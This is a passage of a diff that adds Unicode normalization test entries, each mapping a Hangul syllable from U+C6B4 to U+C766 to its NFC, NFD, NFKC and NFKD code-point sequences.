+{ source: [0xC6B4], NFC: [0xC6B4], NFD: [0x110B, 0x116E, 0x11AB], NFKC: [0xC6B4], NFKD: [0x110B, 0x116E, 0x11AB] },
+{ source: [0xC6B5], NFC: [0xC6B5], NFD: [0x110B, 0x116E, 0x11AC], NFKC: [0xC6B5], NFKD: [0x110B, 0x116E, 0x11AC] },
+{ source: [0xC6B6], NFC: [0xC6B6], NFD: [0x110B, 0x116E, 0x11AD], NFKC: [0xC6B6], NFKD: [0x110B, 0x116E, 0x11AD] },
+{ source: [0xC6B7], NFC: [0xC6B7], NFD: [0x110B, 0x116E, 0x11AE], NFKC: [0xC6B7], NFKD: [0x110B, 0x116E, 0x11AE] },
+{ source: [0xC6B8], NFC: [0xC6B8], NFD: [0x110B, 0x116E, 0x11AF], NFKC: [0xC6B8], NFKD: [0x110B, 0x116E, 0x11AF] },
+{ source: [0xC6B9], NFC: [0xC6B9], NFD: [0x110B, 0x116E, 0x11B0], NFKC: [0xC6B9], NFKD: [0x110B, 0x116E, 0x11B0] },
+{ source: [0xC6BA], NFC: [0xC6BA], NFD: [0x110B, 0x116E, 0x11B1], NFKC: [0xC6BA], NFKD: [0x110B, 0x116E, 0x11B1] },
+{ source: [0xC6BB], NFC: [0xC6BB], NFD: [0x110B, 0x116E, 0x11B2], NFKC: [0xC6BB], NFKD: [0x110B, 0x116E, 0x11B2] },
+{ source: [0xC6BC], NFC: [0xC6BC], NFD: [0x110B, 0x116E, 0x11B3], NFKC: [0xC6BC], NFKD: [0x110B, 0x116E, 0x11B3] },
+{ source: [0xC6BD], NFC: [0xC6BD], NFD: [0x110B, 0x116E, 0x11B4], NFKC: [0xC6BD], NFKD: [0x110B, 0x116E, 0x11B4] },
+{ source: [0xC6BE], NFC: [0xC6BE], NFD: [0x110B, 0x116E, 0x11B5], NFKC: [0xC6BE], NFKD: [0x110B, 0x116E, 0x11B5] },
+{ source: [0xC6BF], NFC: [0xC6BF], NFD: [0x110B, 0x116E, 0x11B6], NFKC: [0xC6BF], NFKD: [0x110B, 0x116E, 0x11B6] },
+{ source: [0xC6C0], NFC: [0xC6C0], NFD: [0x110B, 0x116E, 0x11B7], NFKC: [0xC6C0], NFKD: [0x110B, 0x116E, 0x11B7] },
+{ source: [0xC6C1], NFC: [0xC6C1], NFD: [0x110B, 0x116E, 0x11B8], NFKC: [0xC6C1], NFKD: [0x110B, 0x116E, 0x11B8] },
+{ source: [0xC6C2], NFC: [0xC6C2], NFD: [0x110B, 0x116E, 0x11B9], NFKC: [0xC6C2], NFKD: [0x110B, 0x116E, 0x11B9] },
+{ source: [0xC6C3], NFC: [0xC6C3], NFD: [0x110B, 0x116E, 0x11BA], NFKC: [0xC6C3], NFKD: [0x110B, 0x116E, 0x11BA] },
+{ source: [0xC6C4], NFC: [0xC6C4], NFD: [0x110B, 0x116E, 0x11BB], NFKC: [0xC6C4], NFKD: [0x110B, 0x116E, 0x11BB] },
+{ source: [0xC6C5], NFC: [0xC6C5], NFD: [0x110B, 0x116E, 0x11BC], NFKC: [0xC6C5], NFKD: [0x110B, 0x116E, 0x11BC] },
+{ source: [0xC6C6], NFC: [0xC6C6], NFD: [0x110B, 0x116E, 0x11BD], NFKC: [0xC6C6], NFKD: [0x110B, 0x116E, 0x11BD] },
+{ source: [0xC6C7], NFC: [0xC6C7], NFD: [0x110B, 0x116E, 0x11BE], NFKC: [0xC6C7], NFKD: [0x110B, 0x116E, 0x11BE] },
+{ source: [0xC6C8], NFC: [0xC6C8], NFD: [0x110B, 0x116E, 0x11BF], NFKC: [0xC6C8], NFKD: [0x110B, 0x116E, 0x11BF] },
+{ source: [0xC6C9], NFC: [0xC6C9], NFD: [0x110B, 0x116E, 0x11C0], NFKC: [0xC6C9], NFKD: [0x110B, 0x116E, 0x11C0] },
+{ source: [0xC6CA], NFC: [0xC6CA], NFD: [0x110B, 0x116E, 0x11C1], NFKC: [0xC6CA], NFKD: [0x110B, 0x116E, 0x11C1] },
+{ source: [0xC6CB], NFC: [0xC6CB], NFD: [0x110B, 0x116E, 0x11C2], NFKC: [0xC6CB], NFKD: [0x110B, 0x116E, 0x11C2] },
+{ source: [0xC6CC], NFC: [0xC6CC], NFD: [0x110B, 0x116F], NFKC: [0xC6CC], NFKD: [0x110B, 0x116F] },
+{ source: [0xC6CD], NFC: [0xC6CD], NFD: [0x110B, 0x116F, 0x11A8], NFKC: [0xC6CD], NFKD: [0x110B, 0x116F, 0x11A8] },
+{ source: [0xC6CE], NFC: [0xC6CE], NFD: [0x110B, 0x116F, 0x11A9], NFKC: [0xC6CE], NFKD: [0x110B, 0x116F, 0x11A9] },
+{ source: [0xC6CF], NFC: [0xC6CF], NFD: [0x110B, 0x116F, 0x11AA], NFKC: [0xC6CF], NFKD: [0x110B, 0x116F, 0x11AA] },
+{ source: [0xC6D0], NFC: [0xC6D0], NFD: [0x110B, 0x116F, 0x11AB], NFKC: [0xC6D0], NFKD: [0x110B, 0x116F, 0x11AB] },
+{ source: [0xC6D1], NFC: [0xC6D1], NFD: [0x110B, 0x116F, 0x11AC], NFKC: [0xC6D1], NFKD: [0x110B, 0x116F, 0x11AC] },
+{ source: [0xC6D2], NFC: [0xC6D2], NFD: [0x110B, 0x116F, 0x11AD], NFKC: [0xC6D2], NFKD: [0x110B, 0x116F, 0x11AD] },
+{ source: [0xC6D3], NFC: [0xC6D3], NFD: [0x110B, 0x116F, 0x11AE], NFKC: [0xC6D3], NFKD: [0x110B, 0x116F, 0x11AE] },
+{ source: [0xC6D4], NFC: [0xC6D4], NFD: [0x110B, 0x116F, 0x11AF], NFKC: [0xC6D4], NFKD: [0x110B, 0x116F, 0x11AF] },
+{ source: [0xC6D5], NFC: [0xC6D5], NFD: [0x110B, 0x116F, 0x11B0], NFKC: [0xC6D5], NFKD: [0x110B, 0x116F, 0x11B0] },
+{ source: [0xC6D6], NFC: [0xC6D6], NFD: [0x110B, 0x116F, 0x11B1], NFKC: [0xC6D6], NFKD: [0x110B, 0x116F, 0x11B1] },
+{ source: [0xC6D7], NFC: [0xC6D7], NFD: [0x110B, 0x116F, 0x11B2], NFKC: [0xC6D7], NFKD: [0x110B, 0x116F, 0x11B2] },
+{ source: [0xC6D8], NFC: [0xC6D8], NFD: [0x110B, 0x116F, 0x11B3], NFKC: [0xC6D8], NFKD: [0x110B, 0x116F, 0x11B3] },
+{ source: [0xC6D9], NFC: [0xC6D9], NFD: [0x110B, 0x116F, 0x11B4], NFKC: [0xC6D9], NFKD: [0x110B, 0x116F, 0x11B4] },
+{ source: [0xC6DA], NFC: [0xC6DA], NFD: [0x110B, 0x116F, 0x11B5], NFKC: [0xC6DA], NFKD: [0x110B, 0x116F, 0x11B5] },
+{ source: [0xC6DB], NFC: [0xC6DB], NFD: [0x110B, 0x116F, 0x11B6], NFKC: [0xC6DB], NFKD: [0x110B, 0x116F, 0x11B6] },
+{ source: [0xC6DC], NFC: [0xC6DC], NFD: [0x110B, 0x116F, 0x11B7], NFKC: [0xC6DC], NFKD: [0x110B, 0x116F, 0x11B7] },
+{ source: [0xC6DD], NFC: [0xC6DD], NFD: [0x110B, 0x116F, 0x11B8], NFKC: [0xC6DD], NFKD: [0x110B, 0x116F, 0x11B8] },
+{ source: [0xC6DE], NFC: [0xC6DE], NFD: [0x110B, 0x116F, 0x11B9], NFKC: [0xC6DE], NFKD: [0x110B, 0x116F, 0x11B9] },
+{ source: [0xC6DF], NFC: [0xC6DF], NFD: [0x110B, 0x116F, 0x11BA], NFKC: [0xC6DF], NFKD: [0x110B, 0x116F, 0x11BA] },
+{ source: [0xC6E0], NFC: [0xC6E0], NFD: [0x110B, 0x116F, 0x11BB], NFKC: [0xC6E0], NFKD: [0x110B, 0x116F, 0x11BB] },
+{ source: [0xC6E1], NFC: [0xC6E1], NFD: [0x110B, 0x116F, 0x11BC], NFKC: [0xC6E1], NFKD: [0x110B, 0x116F, 0x11BC] },
+{ source: [0xC6E2], NFC: [0xC6E2], NFD: [0x110B, 0x116F, 0x11BD], NFKC: [0xC6E2], NFKD: [0x110B, 0x116F, 0x11BD] },
+{ source: [0xC6E3], NFC: [0xC6E3], NFD: [0x110B, 0x116F, 0x11BE], NFKC: [0xC6E3], NFKD: [0x110B, 0x116F, 0x11BE] },
+{ source: [0xC6E4], NFC: [0xC6E4], NFD: [0x110B, 0x116F, 0x11BF], NFKC: [0xC6E4], NFKD: [0x110B, 0x116F, 0x11BF] },
+{ source: [0xC6E5], NFC: [0xC6E5], NFD: [0x110B, 0x116F, 0x11C0], NFKC: [0xC6E5], NFKD: [0x110B, 0x116F, 0x11C0] },
+{ source: [0xC6E6], NFC: [0xC6E6], NFD: [0x110B, 0x116F, 0x11C1], NFKC: [0xC6E6], NFKD: [0x110B, 0x116F, 0x11C1] },
+{ source: [0xC6E7], NFC: [0xC6E7], NFD: [0x110B, 0x116F, 0x11C2], NFKC: [0xC6E7], NFKD: [0x110B, 0x116F, 0x11C2] },
+{ source: [0xC6E8], NFC: [0xC6E8], NFD: [0x110B, 0x1170], NFKC: [0xC6E8], NFKD: [0x110B, 0x1170] },
+{ source: [0xC6E9], NFC: [0xC6E9], NFD: [0x110B, 0x1170, 0x11A8], NFKC: [0xC6E9], NFKD: [0x110B, 0x1170, 0x11A8] },
+{ source: [0xC6EA], NFC: [0xC6EA], NFD: [0x110B, 0x1170, 0x11A9], NFKC: [0xC6EA], NFKD: [0x110B, 0x1170, 0x11A9] },
+{ source: [0xC6EB], NFC: [0xC6EB], NFD: [0x110B, 0x1170, 0x11AA], NFKC: [0xC6EB], NFKD: [0x110B, 0x1170, 0x11AA] },
+{ source: [0xC6EC], NFC: [0xC6EC], NFD: [0x110B, 0x1170, 0x11AB], NFKC: [0xC6EC], NFKD: [0x110B, 0x1170, 0x11AB] },
+{ source: [0xC6ED], NFC: [0xC6ED], NFD: [0x110B, 0x1170, 0x11AC], NFKC: [0xC6ED], NFKD: [0x110B, 0x1170, 0x11AC] },
+{ source: [0xC6EE], NFC: [0xC6EE], NFD: [0x110B, 0x1170, 0x11AD], NFKC: [0xC6EE], NFKD: [0x110B, 0x1170, 0x11AD] },
+{ source: [0xC6EF], NFC: [0xC6EF], NFD: [0x110B, 0x1170, 0x11AE], NFKC: [0xC6EF], NFKD: [0x110B, 0x1170, 0x11AE] },
+{ source: [0xC6F0], NFC: [0xC6F0], NFD: [0x110B, 0x1170, 0x11AF], NFKC: [0xC6F0], NFKD: [0x110B, 0x1170, 0x11AF] },
+{ source: [0xC6F1], NFC: [0xC6F1], NFD: [0x110B, 0x1170, 0x11B0], NFKC: [0xC6F1], NFKD: [0x110B, 0x1170, 0x11B0] },
+{ source: [0xC6F2], NFC: [0xC6F2], NFD: [0x110B, 0x1170, 0x11B1], NFKC: [0xC6F2], NFKD: [0x110B, 0x1170, 0x11B1] },
+{ source: [0xC6F3], NFC: [0xC6F3], NFD: [0x110B, 0x1170, 0x11B2], NFKC: [0xC6F3], NFKD: [0x110B, 0x1170, 0x11B2] },
+{ source: [0xC6F4], NFC: [0xC6F4], NFD: [0x110B, 0x1170, 0x11B3], NFKC: [0xC6F4], NFKD: [0x110B, 0x1170, 0x11B3] },
+{ source: [0xC6F5], NFC: [0xC6F5], NFD: [0x110B, 0x1170, 0x11B4], NFKC: [0xC6F5], NFKD: [0x110B, 0x1170, 0x11B4] },
+{ source: [0xC6F6], NFC: [0xC6F6], NFD: [0x110B, 0x1170, 0x11B5], NFKC: [0xC6F6], NFKD: [0x110B, 0x1170, 0x11B5] },
+{ source: [0xC6F7], NFC: [0xC6F7], NFD: [0x110B, 0x1170, 0x11B6], NFKC: [0xC6F7], NFKD: [0x110B, 0x1170, 0x11B6] },
+{ source: [0xC6F8], NFC: [0xC6F8], NFD: [0x110B, 0x1170, 0x11B7], NFKC: [0xC6F8], NFKD: [0x110B, 0x1170, 0x11B7] },
+{ source: [0xC6F9], NFC: [0xC6F9], NFD: [0x110B, 0x1170, 0x11B8], NFKC: [0xC6F9], NFKD: [0x110B, 0x1170, 0x11B8] },
+{ source: [0xC6FA], NFC: [0xC6FA], NFD: [0x110B, 0x1170, 0x11B9], NFKC: [0xC6FA], NFKD: [0x110B, 0x1170, 0x11B9] },
+{ source: [0xC6FB], NFC: [0xC6FB], NFD: [0x110B, 0x1170, 0x11BA], NFKC: [0xC6FB], NFKD: [0x110B, 0x1170, 0x11BA] },
+{ source: [0xC6FC], NFC: [0xC6FC], NFD: [0x110B, 0x1170, 0x11BB], NFKC: [0xC6FC], NFKD: [0x110B, 0x1170, 0x11BB] },
+{ source: [0xC6FD], NFC: [0xC6FD], NFD: [0x110B, 0x1170, 0x11BC], NFKC: [0xC6FD], NFKD: [0x110B, 0x1170, 0x11BC] },
+{ source: [0xC6FE], NFC: [0xC6FE], NFD: [0x110B, 0x1170, 0x11BD], NFKC: [0xC6FE], NFKD: [0x110B, 0x1170, 0x11BD] },
+{ source: [0xC6FF], NFC: [0xC6FF], NFD: [0x110B, 0x1170, 0x11BE], NFKC: [0xC6FF], NFKD: [0x110B, 0x1170, 0x11BE] },
+{ source: [0xC700], NFC: [0xC700], NFD: [0x110B, 0x1170, 0x11BF], NFKC: [0xC700], NFKD: [0x110B, 0x1170, 0x11BF] },
+{ source: [0xC701], NFC: [0xC701], NFD: [0x110B, 0x1170, 0x11C0], NFKC: [0xC701], NFKD: [0x110B, 0x1170, 0x11C0] },
+{ source: [0xC702], NFC: [0xC702], NFD: [0x110B, 0x1170, 0x11C1], NFKC: [0xC702], NFKD: [0x110B, 0x1170, 0x11C1] },
+{ source: [0xC703], NFC: [0xC703], NFD: [0x110B, 0x1170, 0x11C2], NFKC: [0xC703], NFKD: [0x110B, 0x1170, 0x11C2] },
+{ source: [0xC704], NFC: [0xC704], NFD: [0x110B, 0x1171], NFKC: [0xC704], NFKD: [0x110B, 0x1171] },
+{ source: [0xC705], NFC: [0xC705], NFD: [0x110B, 0x1171, 0x11A8], NFKC: [0xC705], NFKD: [0x110B, 0x1171, 0x11A8] },
+{ source: [0xC706], NFC: [0xC706], NFD: [0x110B, 0x1171, 0x11A9], NFKC: [0xC706], NFKD: [0x110B, 0x1171, 0x11A9] },
+{ source: [0xC707], NFC: [0xC707], NFD: [0x110B, 0x1171, 0x11AA], NFKC: [0xC707], NFKD: [0x110B, 0x1171, 0x11AA] },
+{ source: [0xC708], NFC: [0xC708], NFD: [0x110B, 0x1171, 0x11AB], NFKC: [0xC708], NFKD: [0x110B, 0x1171, 0x11AB] },
+{ source: [0xC709], NFC: [0xC709], NFD: [0x110B, 0x1171, 0x11AC], NFKC: [0xC709], NFKD: [0x110B, 0x1171, 0x11AC] },
+{ source: [0xC70A], NFC: [0xC70A], NFD: [0x110B, 0x1171, 0x11AD], NFKC: [0xC70A], NFKD: [0x110B, 0x1171, 0x11AD] },
+{ source: [0xC70B], NFC: [0xC70B], NFD: [0x110B, 0x1171, 0x11AE], NFKC: [0xC70B], NFKD: [0x110B, 0x1171, 0x11AE] },
+{ source: [0xC70C], NFC: [0xC70C], NFD: [0x110B, 0x1171, 0x11AF], NFKC: [0xC70C], NFKD: [0x110B, 0x1171, 0x11AF] },
+{ source: [0xC70D], NFC: [0xC70D], NFD: [0x110B, 0x1171, 0x11B0], NFKC: [0xC70D], NFKD: [0x110B, 0x1171, 0x11B0] },
+{ source: [0xC70E], NFC: [0xC70E], NFD: [0x110B, 0x1171, 0x11B1], NFKC: [0xC70E], NFKD: [0x110B, 0x1171, 0x11B1] },
+{ source: [0xC70F], NFC: [0xC70F], NFD: [0x110B, 0x1171, 0x11B2], NFKC: [0xC70F], NFKD: [0x110B, 0x1171, 0x11B2] },
+{ source: [0xC710], NFC: [0xC710], NFD: [0x110B, 0x1171, 0x11B3], NFKC: [0xC710], NFKD: [0x110B, 0x1171, 0x11B3] },
+{ source: [0xC711], NFC: [0xC711], NFD: [0x110B, 0x1171, 0x11B4], NFKC: [0xC711], NFKD: [0x110B, 0x1171, 0x11B4] },
+{ source: [0xC712], NFC: [0xC712], NFD: [0x110B, 0x1171, 0x11B5], NFKC: [0xC712], NFKD: [0x110B, 0x1171, 0x11B5] },
+{ source: [0xC713], NFC: [0xC713], NFD: [0x110B, 0x1171, 0x11B6], NFKC: [0xC713], NFKD: [0x110B, 0x1171, 0x11B6] },
+{ source: [0xC714], NFC: [0xC714], NFD: [0x110B, 0x1171, 0x11B7], NFKC: [0xC714], NFKD: [0x110B, 0x1171, 0x11B7] },
+{ source: [0xC715], NFC: [0xC715], NFD: [0x110B, 0x1171, 0x11B8], NFKC: [0xC715], NFKD: [0x110B, 0x1171, 0x11B8] },
+{ source: [0xC716], NFC: [0xC716], NFD: [0x110B, 0x1171, 0x11B9], NFKC: [0xC716], NFKD: [0x110B, 0x1171, 0x11B9] },
+{ source: [0xC717], NFC: [0xC717], NFD: [0x110B, 0x1171, 0x11BA], NFKC: [0xC717], NFKD: [0x110B, 0x1171, 0x11BA] },
+{ source: [0xC718], NFC: [0xC718], NFD: [0x110B, 0x1171, 0x11BB], NFKC: [0xC718], NFKD: [0x110B, 0x1171, 0x11BB] },
+{ source: [0xC719], NFC: [0xC719], NFD: [0x110B, 0x1171, 0x11BC], NFKC: [0xC719], NFKD: [0x110B, 0x1171, 0x11BC] },
+{ source: [0xC71A], NFC: [0xC71A], NFD: [0x110B, 0x1171, 0x11BD], NFKC: [0xC71A], NFKD: [0x110B, 0x1171, 0x11BD] },
+{ source: [0xC71B], NFC: [0xC71B], NFD: [0x110B, 0x1171, 0x11BE], NFKC: [0xC71B], NFKD: [0x110B, 0x1171, 0x11BE] },
+{ source: [0xC71C], NFC: [0xC71C], NFD: [0x110B, 0x1171, 0x11BF], NFKC: [0xC71C], NFKD: [0x110B, 0x1171, 0x11BF] },
+{ source: [0xC71D], NFC: [0xC71D], NFD: [0x110B, 0x1171, 0x11C0], NFKC: [0xC71D], NFKD: [0x110B, 0x1171, 0x11C0] },
+{ source: [0xC71E], NFC: [0xC71E], NFD: [0x110B, 0x1171, 0x11C1], NFKC: [0xC71E], NFKD: [0x110B, 0x1171, 0x11C1] },
+{ source: [0xC71F], NFC: [0xC71F], NFD: [0x110B, 0x1171, 0x11C2], NFKC: [0xC71F], NFKD: [0x110B, 0x1171, 0x11C2] },
+{ source: [0xC720], NFC: [0xC720], NFD: [0x110B, 0x1172], NFKC: [0xC720], NFKD: [0x110B, 0x1172] },
+{ source: [0xC721], NFC: [0xC721], NFD: [0x110B, 0x1172, 0x11A8], NFKC: [0xC721], NFKD: [0x110B, 0x1172, 0x11A8] },
+{ source: [0xC722], NFC: [0xC722], NFD: [0x110B, 0x1172, 0x11A9], NFKC: [0xC722], NFKD: [0x110B, 0x1172, 0x11A9] },
+{ source: [0xC723], NFC: [0xC723], NFD: [0x110B, 0x1172, 0x11AA], NFKC: [0xC723], NFKD: [0x110B, 0x1172, 0x11AA] },
+{ source: [0xC724], NFC: [0xC724], NFD: [0x110B, 0x1172, 0x11AB], NFKC: [0xC724], NFKD: [0x110B, 0x1172, 0x11AB] },
+{ source: [0xC725], NFC: [0xC725], NFD: [0x110B, 0x1172, 0x11AC], NFKC: [0xC725], NFKD: [0x110B, 0x1172, 0x11AC] },
+{ source: [0xC726], NFC: [0xC726], NFD: [0x110B, 0x1172, 0x11AD], NFKC: [0xC726], NFKD: [0x110B, 0x1172, 0x11AD] },
+{ source: [0xC727], NFC: [0xC727], NFD: [0x110B, 0x1172, 0x11AE], NFKC: [0xC727], NFKD: [0x110B, 0x1172, 0x11AE] },
+{ source: [0xC728], NFC: [0xC728], NFD: [0x110B, 0x1172, 0x11AF], NFKC: [0xC728], NFKD: [0x110B, 0x1172, 0x11AF] },
+{ source: [0xC729], NFC: [0xC729], NFD: [0x110B, 0x1172, 0x11B0], NFKC: [0xC729], NFKD: [0x110B, 0x1172, 0x11B0] },
+{ source: [0xC72A], NFC: [0xC72A], NFD: [0x110B, 0x1172, 0x11B1], NFKC: [0xC72A], NFKD: [0x110B, 0x1172, 0x11B1] },
+{ source: [0xC72B], NFC: [0xC72B], NFD: [0x110B, 0x1172, 0x11B2], NFKC: [0xC72B], NFKD: [0x110B, 0x1172, 0x11B2] },
+{ source: [0xC72C], NFC: [0xC72C], NFD: [0x110B, 0x1172, 0x11B3], NFKC: [0xC72C], NFKD: [0x110B, 0x1172, 0x11B3] },
+{ source: [0xC72D], NFC: [0xC72D], NFD: [0x110B, 0x1172, 0x11B4], NFKC: [0xC72D], NFKD: [0x110B, 0x1172, 0x11B4] },
+{ source: [0xC72E], NFC: [0xC72E], NFD: [0x110B, 0x1172, 0x11B5], NFKC: [0xC72E], NFKD: [0x110B, 0x1172, 0x11B5] },
+{ source: [0xC72F], NFC: [0xC72F], NFD: [0x110B, 0x1172, 0x11B6], NFKC: [0xC72F], NFKD: [0x110B, 0x1172, 0x11B6] },
+{ source: [0xC730], NFC: [0xC730], NFD: [0x110B, 0x1172, 0x11B7], NFKC: [0xC730], NFKD: [0x110B, 0x1172, 0x11B7] },
+{ source: [0xC731], NFC: [0xC731], NFD: [0x110B, 0x1172, 0x11B8], NFKC: [0xC731], NFKD: [0x110B, 0x1172, 0x11B8] },
+{ source: [0xC732], NFC: [0xC732], NFD: [0x110B, 0x1172, 0x11B9], NFKC: [0xC732], NFKD: [0x110B, 0x1172, 0x11B9] },
+{ source: [0xC733], NFC: [0xC733], NFD: [0x110B, 0x1172, 0x11BA], NFKC: [0xC733], NFKD: [0x110B, 0x1172, 0x11BA] },
+{ source: [0xC734], NFC: [0xC734], NFD: [0x110B, 0x1172, 0x11BB], NFKC: [0xC734], NFKD: [0x110B, 0x1172, 0x11BB] },
+{ source: [0xC735], NFC: [0xC735], NFD: [0x110B, 0x1172, 0x11BC], NFKC: [0xC735], NFKD: [0x110B, 0x1172, 0x11BC] },
+{ source: [0xC736], NFC: [0xC736], NFD: [0x110B, 0x1172, 0x11BD], NFKC: [0xC736], NFKD: [0x110B, 0x1172, 0x11BD] },
+{ source: [0xC737], NFC: [0xC737], NFD: [0x110B, 0x1172, 0x11BE], NFKC: [0xC737], NFKD: [0x110B, 0x1172, 0x11BE] },
+{ source: [0xC738], NFC: [0xC738], NFD: [0x110B, 0x1172, 0x11BF], NFKC: [0xC738], NFKD: [0x110B, 0x1172, 0x11BF] },
+{ source: [0xC739], NFC: [0xC739], NFD: [0x110B, 0x1172, 0x11C0], NFKC: [0xC739], NFKD: [0x110B, 0x1172, 0x11C0] },
+{ source: [0xC73A], NFC: [0xC73A], NFD: [0x110B, 0x1172, 0x11C1], NFKC: [0xC73A], NFKD: [0x110B, 0x1172, 0x11C1] },
+{ source: [0xC73B], NFC: [0xC73B], NFD: [0x110B, 0x1172, 0x11C2], NFKC: [0xC73B], NFKD: [0x110B, 0x1172, 0x11C2] },
+{ source: [0xC73C], NFC: [0xC73C], NFD: [0x110B, 0x1173], NFKC: [0xC73C], NFKD: [0x110B, 0x1173] },
+{ source: [0xC73D], NFC: [0xC73D], NFD: [0x110B, 0x1173, 0x11A8], NFKC: [0xC73D], NFKD: [0x110B, 0x1173, 0x11A8] },
+{ source: [0xC73E], NFC: [0xC73E], NFD: [0x110B, 0x1173, 0x11A9], NFKC: [0xC73E], NFKD: [0x110B, 0x1173, 0x11A9] },
+{ source: [0xC73F], NFC: [0xC73F], NFD: [0x110B, 0x1173, 0x11AA], NFKC: [0xC73F], NFKD: [0x110B, 0x1173, 0x11AA] },
+{ source: [0xC740], NFC: [0xC740], NFD: [0x110B, 0x1173, 0x11AB], NFKC: [0xC740], NFKD: [0x110B, 0x1173, 0x11AB] },
+{ source: [0xC741], NFC: [0xC741], NFD: [0x110B, 0x1173, 0x11AC], NFKC: [0xC741], NFKD: [0x110B, 0x1173, 0x11AC] },
+{ source: [0xC742], NFC: [0xC742], NFD: [0x110B, 0x1173, 0x11AD], NFKC: [0xC742], NFKD: [0x110B, 0x1173, 0x11AD] },
+{ source: [0xC743], NFC: [0xC743], NFD: [0x110B, 0x1173, 0x11AE], NFKC: [0xC743], NFKD: [0x110B, 0x1173, 0x11AE] },
+{ source: [0xC744], NFC: [0xC744], NFD: [0x110B, 0x1173, 0x11AF], NFKC: [0xC744], NFKD: [0x110B, 0x1173, 0x11AF] },
+{ source: [0xC745], NFC: [0xC745], NFD: [0x110B, 0x1173, 0x11B0], NFKC: [0xC745], NFKD: [0x110B, 0x1173, 0x11B0] },
+{ source: [0xC746], NFC: [0xC746], NFD: [0x110B, 0x1173, 0x11B1], NFKC: [0xC746], NFKD: [0x110B, 0x1173, 0x11B1] },
+{ source: [0xC747], NFC: [0xC747], NFD: [0x110B, 0x1173, 0x11B2], NFKC: [0xC747], NFKD: [0x110B, 0x1173, 0x11B2] },
+{ source: [0xC748], NFC: [0xC748], NFD: [0x110B, 0x1173, 0x11B3], NFKC: [0xC748], NFKD: [0x110B, 0x1173, 0x11B3] },
+{ source: [0xC749], NFC: [0xC749], NFD: [0x110B, 0x1173, 0x11B4], NFKC: [0xC749], NFKD: [0x110B, 0x1173, 0x11B4] },
+{ source: [0xC74A], NFC: [0xC74A], NFD: [0x110B, 0x1173, 0x11B5], NFKC: [0xC74A], NFKD: [0x110B, 0x1173, 0x11B5] },
+{ source: [0xC74B], NFC: [0xC74B], NFD: [0x110B, 0x1173, 0x11B6], NFKC: [0xC74B], NFKD: [0x110B, 0x1173, 0x11B6] },
+{ source: [0xC74C], NFC: [0xC74C], NFD: [0x110B, 0x1173, 0x11B7], NFKC: [0xC74C], NFKD: [0x110B, 0x1173, 0x11B7] },
+{ source: [0xC74D], NFC: [0xC74D], NFD: [0x110B, 0x1173, 0x11B8], NFKC: [0xC74D], NFKD: [0x110B, 0x1173, 0x11B8] },
+{ source: [0xC74E], NFC: [0xC74E], NFD: [0x110B, 0x1173, 0x11B9], NFKC: [0xC74E], NFKD: [0x110B, 0x1173, 0x11B9] },
+{ source: [0xC74F], NFC: [0xC74F], NFD: [0x110B, 0x1173, 0x11BA], NFKC: [0xC74F], NFKD: [0x110B, 0x1173, 0x11BA] },
+{ source: [0xC750], NFC: [0xC750], NFD: [0x110B, 0x1173, 0x11BB], NFKC: [0xC750], NFKD: [0x110B, 0x1173, 0x11BB] },
+{ source: [0xC751], NFC: [0xC751], NFD: [0x110B, 0x1173, 0x11BC], NFKC: [0xC751], NFKD: [0x110B, 0x1173, 0x11BC] },
+{ source: [0xC752], NFC: [0xC752], NFD: [0x110B, 0x1173, 0x11BD], NFKC: [0xC752], NFKD: [0x110B, 0x1173, 0x11BD] },
+{ source: [0xC753], NFC: [0xC753], NFD: [0x110B, 0x1173, 0x11BE], NFKC: [0xC753], NFKD: [0x110B, 0x1173, 0x11BE] },
+{ source: [0xC754], NFC: [0xC754], NFD: [0x110B, 0x1173, 0x11BF], NFKC: [0xC754], NFKD: [0x110B, 0x1173, 0x11BF] },
+{ source: [0xC755], NFC: [0xC755], NFD: [0x110B, 0x1173, 0x11C0], NFKC: [0xC755], NFKD: [0x110B, 0x1173, 0x11C0] },
+{ source: [0xC756], NFC: [0xC756], NFD: [0x110B, 0x1173, 0x11C1], NFKC: [0xC756], NFKD: [0x110B, 0x1173, 0x11C1] },
+{ source: [0xC757], NFC: [0xC757], NFD: [0x110B, 0x1173, 0x11C2], NFKC: [0xC757], NFKD: [0x110B, 0x1173, 0x11C2] },
+{ source: [0xC758], NFC: [0xC758], NFD: [0x110B, 0x1174], NFKC: [0xC758], NFKD: [0x110B, 0x1174] },
+{ source: [0xC759], NFC: [0xC759], NFD: [0x110B, 0x1174, 0x11A8], NFKC: [0xC759], NFKD: [0x110B, 0x1174, 0x11A8] },
+{ source: [0xC75A], NFC: [0xC75A], NFD: [0x110B, 0x1174, 0x11A9], NFKC: [0xC75A], NFKD: [0x110B, 0x1174, 0x11A9] },
+{ source: [0xC75B], NFC: [0xC75B], NFD: [0x110B, 0x1174, 0x11AA], NFKC: [0xC75B], NFKD: [0x110B, 0x1174, 0x11AA] },
+{ source: [0xC75C], NFC: [0xC75C], NFD: [0x110B, 0x1174, 0x11AB], NFKC: [0xC75C], NFKD: [0x110B, 0x1174, 0x11AB] },
+{ source: [0xC75D], NFC: [0xC75D], NFD: [0x110B, 0x1174, 0x11AC], NFKC: [0xC75D], NFKD: [0x110B, 0x1174, 0x11AC] },
+{ source: [0xC75E], NFC: [0xC75E], NFD: [0x110B, 0x1174, 0x11AD], NFKC: [0xC75E], NFKD: [0x110B, 0x1174, 0x11AD] },
+{ source: [0xC75F], NFC: [0xC75F], NFD: [0x110B, 0x1174, 0x11AE], NFKC: [0xC75F], NFKD: [0x110B, 0x1174, 0x11AE] },
+{ source: [0xC760], NFC: [0xC760], NFD: [0x110B, 0x1174, 0x11AF], NFKC: [0xC760], NFKD: [0x110B, 0x1174, 0x11AF] },
+{ source: [0xC761], NFC: [0xC761], NFD: [0x110B, 0x1174, 0x11B0], NFKC: [0xC761], NFKD: [0x110B, 0x1174, 0x11B0] },
+{ source: [0xC762], NFC: [0xC762], NFD: [0x110B, 0x1174, 0x11B1], NFKC: [0xC762], NFKD: [0x110B, 0x1174, 0x11B1] },
+{ source: [0xC763], NFC: [0xC763], NFD: [0x110B, 0x1174, 0x11B2], NFKC: [0xC763], NFKD: [0x110B, 0x1174, 0x11B2] },
+{ source: [0xC764], NFC: [0xC764], NFD: [0x110B, 0x1174, 0x11B3], NFKC: [0xC764], NFKD: [0x110B, 0x1174, 0x11B3] },
+{ source: [0xC765], NFC: [0xC765], NFD: [0x110B, 0x1174, 0x11B4], NFKC: [0xC765], NFKD: [0x110B, 0x1174, 0x11B4] },
+{ source: [0xC766], NFC: [0xC766], NFD: [0x110B, 0x1174, 0x11B5], NFKC: [0xC766], NFKD: [0x110B, 0x1174, 0x11B5] },
